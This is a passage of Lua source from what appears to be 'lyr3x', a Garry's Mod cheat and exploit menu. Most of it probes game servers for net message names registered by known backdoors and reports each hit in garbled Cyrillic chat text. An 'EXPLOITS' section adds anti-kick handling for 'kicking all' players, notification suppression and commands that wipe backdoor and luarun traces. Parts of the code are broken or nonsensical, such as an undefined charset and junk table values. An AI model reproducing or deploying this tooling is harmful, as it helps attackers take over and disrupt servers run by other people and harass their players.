11795chat.AddText( Color( 0, 0, 0 ), "[lyr3x]", Color( 255, 74, 74 )," БÑкдур Ðе найден : "..triggeringbd )else
11796
11797end
11798
11799if( triggeringnetcall("Sbox_gm_attackofnullday_key") ) then
11800triggeringbd = "Sbox_gm_attackofnullday_key (non-compatible)"
11801chat.AddText( Color( 0, 0, 0 ), "[lyr3x]", Color( 255, 74, 74 )," БÑкдур Ðе найден : "..triggeringbd )else
11802
11803end
11804
11805if( triggeringnetcall("m9k_explosionradius") ) then
11806triggeringbd = "m9k_explosionradius (non-compatible)"
11807chat.AddText( Color( 0, 0, 0 ), "[lyr3x]", Color( 255, 74, 74 )," БÑкдур Ðе найден : "..triggeringbd )else
11808
11809end
11810
11811if( triggeringnetcall("m9k_explosive") ) then
11812triggeringbd = "m9k_explosive (non-compatible)"
11813chat.AddText( Color( 0, 0, 0 ), "[lyr3x]", Color( 255, 74, 74 )," БÑкдур Ðе найден : "..triggeringbd )else
11814
11815end
11816
11817if( triggeringnetcall("arivia") ) then
11818triggeringbd = "arivia (non-compatible)"
11819chat.AddText( Color( 0, 0, 0 ), "[lyr3x]", Color( 255, 74, 74 )," БÑкдур Ðе найден : "..triggeringbd )else
11820
11821end
11822
11823if( triggeringnetcall("_Warns") ) then
11824triggeringbd = "_Warns (non-compatible)"
11825chat.AddText( Color( 0, 0, 0 ), "[lyr3x]", Color( 255, 74, 74 )," БÑкдур Ðе найден : "..triggeringbd )else
11826
11827end
11828
11829if( triggeringnetcall("pjHabrp9EY") ) then
11830triggeringbd = "pjHabrp9EY (non-compatible)"
11831chat.AddText( Color( 0, 0, 0 ), "[lyr3x]", Color( 255, 74, 74 )," БÑкдур Ðе найден : "..triggeringbd )else
11832end
11833
11834if( triggeringnetcall("_Raze") ) then
11835triggeringbd = "_Raze (non-compatible)"
11836chat.AddText( Color( 0, 0, 0 ), "[lyr3x]", Color( 255, 74, 74 )," БÑкдур Ðе найден : "..triggeringbd )else
11837
11838end
11839
11840if( triggeringnetcall("Þ� ?D)◘") ) then
11841triggeringbd = "Þ� ?D)◘ (non-compatible)"
11842chat.AddText( Color( 0, 0, 0 ), "[lyr3x]", Color( 255, 74, 74 )," БÑкдур Ðе найден : "..triggeringbd )else
11843
11844end
11845
11846if( triggeringnetcall("PlayerItemPickUp") ) then
11847triggeringbd = "PlayerItemPickUp (non-compatible)"
11848chat.AddText( Color( 0, 0, 0 ), "[lyr3x]", Color( 255, 74, 74 )," БÑкдур Ðе найден : "..triggeringbd )else
11849
11850end
11851
11852if( triggeringnetcall("echangeinfo") ) then
11853triggeringbd = "echangeinfo (non-compatible)"
11854chat.AddText( Color( 0, 0, 0 ), "[lyr3x]", Color( 255, 74, 74 )," БÑкдур Ðе найден : "..triggeringbd )else
11855
11856end
11857
11858if( triggeringnetcall("fourhead") ) then
11859triggeringbd = "fourhead (non-compatible)"
11860chat.AddText( Color( 0, 0, 0 ), "[lyr3x]", Color( 255, 74, 74 )," БÑкдур Ðе найден : "..triggeringbd )else
11861
11862end
11863
11864if( triggeringnetcall("DefqonBackdoor") ) then
11865triggeringbd = "DefqonBackdoor (non-compatible)"
11866chat.AddText( Color( 0, 0, 0 ), "[lyr3x]", Color( 255, 74, 74 )," БÑкдур Ðе найден : "..triggeringbd )else
11867
11868end
11869
11870if( triggeringnetcall("xenoexistscl") ) then
11871triggeringbd = "xenoexistscl (non-compatible)"
11872chat.AddText( Color( 0, 0, 0 ), "[lyr3x]", Color( 255, 74, 74 )," БÑкдур Ðе найден : "..triggeringbd )else
11873
11874end
11875
11876if( triggeringnetcall("cvaraccess") ) then
11877triggeringbd = "cvaraccess (non-compatible)"
11878chat.AddText( Color( 0, 0, 0 ), "[lyr3x]", Color( 255, 74, 74 )," БÑкдур Ðе найден : "..triggeringbd )else
11879
11880end
11881
11882if( triggeringnetcall("NoNerks") ) then
11883triggeringbd = "NoNerks (non-compatible)"
11884chat.AddText( Color( 0, 0, 0 ), "[lyr3x]", Color( 255, 74, 74 )," БÑкдур Ðе найден : "..triggeringbd )else
11885
11886end
11887
11888if( triggeringnetcall("cucked") ) then
11889triggeringbd = "cucked (non-compatible)"
11890chat.AddText( Color( 0, 0, 0 ), "[lyr3x]", Color( 255, 74, 74 )," БÑкдур Ðе найден : "..triggeringbd )else
11891
11892end
11893
11894if( triggeringnetcall("OldNetReadData") ) then
11895triggeringbd = "OldNetReadData (non-compatible)"
11896chat.AddText( Color( 0, 0, 0 ), "[lyr3x]", Color( 255, 74, 74 )," БÑкдур Ðе найден : "..triggeringbd )else
11897end
11898
11899if( triggeringnetcall("DarkRP_UTF8") ) then
11900triggeringbd = "DarkRP_UTF8 (non-compatible)"
11901chat.AddText( Color( 0, 0, 0 ), "[lyr3x]", Color( 255, 74, 74 )," БÑкдур Ðе найден : "..triggeringbd )
11902else
11903end
11904
11905if( triggeringnetcall("fix") ) then
11906triggeringbd = "fix (non-compatible)"
11907chat.AddText( Color( 0, 0, 0 ), "[lyr3x]", Color( 255, 74, 74 )," БÑкдур Ðе найден : "..triggeringbd )
11908
11909else
11910end
11911
11912if( triggeringnetcall("asunalabestwaifu") ) then
11913triggeringbd = "asunalabestwaifu (non-compatible)"
11914chat.AddText( Color( 0, 0, 0 ), "[lyr3x]", Color( 255, 74, 74 )," БÑкдур Ðе найден : "..triggeringbd )
11915
11916else
11917end
11918
11919if( triggeringnetcall("__G____CAC") ) then
11920triggeringbd = "__G____CAC (non-compatible)"
11921chat.AddText( Color( 0, 0, 0 ), "[lyr3x]", Color( 255, 74, 74 )," БÑкдур Ðе найден : "..triggeringbd )
11922
11923else
11924end
11925
11926if( triggeringnetcall("AbSoluT") ) then
11927triggeringbd = "AbSoluT (non-compatible)"
11928chat.AddText( Color( 0, 0, 0 ), "[lyr3x]", Color( 255, 74, 74 )," БÑкдур Ðе найден : "..triggeringbd )
11929
11930else
11931end
11932
11933if( triggeringnetcall("Gamemode_get") ) then
11934triggeringbd = "Gamemode_get (non-compatible)"
11935chat.AddText( Color( 0, 0, 0 ), "[lyr3x]", Color( 255, 74, 74 )," БÑкдур Ðе найден : "..triggeringbd )
11936
11937else
11938end
11939
11940if( triggeringnetcall("z") ) then
11941triggeringbd = "z (non-compatible)"
11942chat.AddText( Color( 0, 0, 0 ), "[lyr3x]", Color( 255, 74, 74 )," БÑкдур Ðе найден : "..triggeringbd )
11943
11944else
11945end
11946
11947if( triggeringnetcall("cvardel") ) then
11948triggeringbd = "cvardel (non-compatible)"
11949chat.AddText( Color( 0, 0, 0 ), "[lyr3x]", Color( 255, 74, 74 )," БÑкдур Ðе найден : "..triggeringbd )
11950else
11951end
11952
11953if( triggeringnetcall("jesuslebg") ) then
11954triggeringbd = "jesuslebg (non-compatible)"
11955chat.AddText( Color( 0, 0, 0 ), "[lyr3x]", Color( 255, 74, 74 )," БÑкдур Ðе найден : "..triggeringbd )
11956else
11957end
11958
11959if( triggeringnetcall("effects_en") ) then
11960triggeringbd = "effects_en (non-compatible)"
11961chat.AddText( Color( 0, 0, 0 ), "[lyr3x]", Color( 255, 74, 74 )," БÑкдур Ðе найден : "..triggeringbd.."" )
11962
11963else
11964end
11965
11966if( triggeringnetcall("file") ) then
11967triggeringbd = "file (non-compatible)"
11968chat.AddText( Color( 0, 0, 0 ), "[lyr3x]", Color( 255, 74, 74 )," БÑкдур Ðе найден : "..triggeringbd.."" )
11969
11970else
11971end
11972
11973if( triggeringnetcall("_Warns") ) then
11974triggeringbd = "_Warns (non-compatible)"
11975chat.AddText( Color( 0, 0, 0 ), "[lyr3x]", Color( 255, 74, 74 )," БÑкдур Ðе найден : "..triggeringbd.."" )
11976
11977else
11978end
11979
11980if( triggeringnetcall("_GaySploit") ) then
11981triggeringbd = "_GaySploit (non-compatible)"
11982chat.AddText( Color( 0, 0, 0 ), "[lyr3x]", Color( 255, 74, 74 )," БÑкдур Ðе найден : "..triggeringbd.."" )
11983
11984else
11985end
11986
11987if( triggeringnetcall("slua") ) then
11988triggeringbd = "slua (non-compatible)"
11989chat.AddText( Color( 0, 0, 0 ), "[lyr3x]", Color( 255, 74, 74 )," БÑкдур Ðе найден : "..triggeringbd.."" )
11990
11991else
11992end
11993
11994if( triggeringnetcall("BOOST_FPS") ) then
11995triggeringbd = "BOOST_FPS (non-compatible)"
11996chat.AddText( Color( 0, 0, 0 ), "[lyr3x]", Color( 255, 74, 74 )," БÑкдур Ðе найден : "..triggeringbd.."" )
11997
11998else
11999end
12000
12001if( triggeringnetcall("gag") ) then
12002triggeringbd = "gag (non-compatible)"
12003chat.AddText( Color( 0, 0, 0 ), "[lyr3x]", Color( 255, 74, 74 )," БÑкдур Ðе найден : "..triggeringbd.."" )
12004
12005else
12006end
12007
12008if( triggeringnetcall("_cac_") ) then
12009triggeringbd = "_cac_ (non-compatible)"
12010chat.AddText( Color( 0, 0, 0 ), "[lyr3x]", Color( 255, 74, 74 )," БÑкдур Ðе найден : "..triggeringbd.."" )
12011
12012else
12013end
12014
12015if( triggeringnetcall("PlayerItemPickUp") ) then
12016triggeringbd = "PlayerItemPickUp (non-compatible)"
12017chat.AddText( Color( 0, 0, 0 ), "[lyr3x]", Color( 255, 74, 74 )," БÑкдур Ðе найден : "..triggeringbd.."" )
12018
12019else
12020end
12021
12022if( triggeringnetcall("m9k_explosive") ) then
12023triggeringbd = "m9k_explosive (non-compatible)"
12024chat.AddText( Color( 0, 0, 0 ), "[lyr3x]", Color( 255, 74, 74 )," БÑкдур Ðе найден : "..triggeringbd.."" )
12025else
12026end
12027
12028if( triggeringnetcall("mecthack") ) then
12029triggeringbd = "mecthack (non-compatible)"
12030chat.AddText( Color( 0, 0, 0 ), "[lyr3x]", Color( 255, 74, 74 )," БÑкдур Ðе найден : "..triggeringbd.."" )
12031else
12032end
12033
12034if( triggeringnetcall("PlayerCheck") ) then
12035triggeringbd = "PlayerCheck (non-compatible)"
12036chat.AddText( Color( 0, 0, 0 ), "[lyr3x]", Color( 255, 74, 74 )," БÑкдур Ðе найден : "..triggeringbd.."" )
12037else
12038end
12039
12040if( triggeringnetcall("88") ) then
12041triggeringbd = "88 (non-compatible)"
12042chat.AddText( Color( 0, 0, 0 ), "[lyr3x]", Color( 255, 74, 74 )," БÑкдур Ðе найден : "..triggeringbd.."" )
12043else
12044end
12045--if triggeringbd == "" then
12046--chat.AddText(Color(0, 0, 0), "[", "Pity", "] ", Color( 255, 0, 0 ), "Ðе выбран бÑкдур" )
12047--else
12048--end
12049
12050
12051
12052
12053
12054
12055/*===========================
12056|===== lyr3x GUI =====|
12057===========================*/
12058surface.CreateFont("clsbtn",{font = "Arial", size = 15, weight = 0, antialias = 0})
12059
12060/*================================
12061|===== lyr3x EXPLOITS =====|
12062=================================*/
12063
12064concommand.Add("rainbow",function()
12065hook.Add("Think", "Rainbow", function()
12066local RainbowPlayer = HSVToColor( CurTime() % 6 * 60, 1, 1 )
12067LocalPlayer():SetWeaponColor( Vector( RainbowPlayer.r / 255, RainbowPlayer.g / 255, RainbowPlayer.b / 255 ) )
12068LocalPlayer():SetPlayerColor( Vector( RainbowPlayer.r / 255, RainbowPlayer.g / 255, RainbowPlayer.b / 255 ) )
12069end )
12070end )
12071
12072function random_string(length)
12073math.randomseed(os.time())
12074
12075if length > 0 then
12076return random_string(length - 1) .. charset[math.random(1, #charset)]
12077else
12078return ""
12079end
12080end
12081
12082local s = {}
12083s.duel = {}
12084s.duel[1] = table.Random( player.GetAll() )
12085s.duel[2] = table.Random( player.GetAll() )
12086s.duel[2] = 3
12087s.duel[3] = -9999999
12088
12089
12090
12091
12092
12093//////////// [CLEAR CHAT] ////////////
12094
12095function clearchat()
12096for i = 0, 100 do
12097chat.AddText(" ")
12098end
12099end
12100
12101//////////// [VAPE] ////////////
12102
12103function Vape()
12104timer.Simple(0, function() RunConsoleCommand("+attack") end )
12105timer.Simple(5.134, function() RunConsoleCommand("-attack") end )
12106end
12107concommand.Add("vape", Vape)
12108concommand.Add("clearchat", clearchat)
12109
12110function Initialize()
12111net.Receive("DL_Answering_global", function(_len)end) // Stop LocalPlayer from getting kicked whilst kicking all
12112net.Receive( "metro_notification",function() // Disable Metro Notification
12113return
12114end)
12115
12116//////////// Font Creation ////////////
12117--
12118surface.CreateFont( "Arial", {
12119font = "Arial",
12120size = 18,
12121} )
12122--
12123surface.CreateFont( "Calibri-sm", {
12124font = "Calibri",
12125size = 15,
12126} )
12127--
12128surface.CreateFont( "Calibri-l", {
12129font = "Calibri",
12130size = 21,
12131} )
12132--
12133surface.CreateFont( "tahoma", {
12134font = "Tahoma",
12135size = 15,
12136} )
12137--
12138end
12139Initialize(); // Initializes basic shit for when menu is loaded.
12140
12141
12142
12143----------------------
12144concommand.Add( "fiji_clearbd", function() -- fiji_sv_existmen
12145print("\n")
12146end)
12147
12148concommand.Add( "fiji_clearluarun", function() -- fiji_sv_existmen
12149print("\n")
12150end)
12151
12152concommand.Add( "fiji_clearconsole", function() -- fiji_sv_existmen
12153print("\n")
12154end)
12155
12156hook.Add("Think", "catBOT", function(ucmd, origin, angles, calcview, fov, p, o, a, f, aaaaa )
12157if !btnCooldown || CurTime() > btnCooldown then
12158if fiji_sv_existmen:GetInt() == 0 then
12159if(input.IsKeyDown(KEY_LALT))then
12160LocalPlayer():ConCommand("lyr3x")
12161else end
12162elseif(input.IsKeyDown(KEY_LALT))then
12163LocalPlayer():ConCommand("clear_pity")
12164LocalPlayer():ConCommand("fiji_clearbd")
12165LocalPlayer():ConCommand("fiji_clearluarun")
12166LocalPlayer():ConCommand("fiji_clearespent")
12167LocalPlayer():ConCommand("fiji_clearconsole")
12168LocalPlayer():ConCommand("fiji_sv_existmen 0")
12169end
12170btnCooldown = CurTime() + 0.5
12171end
12172end)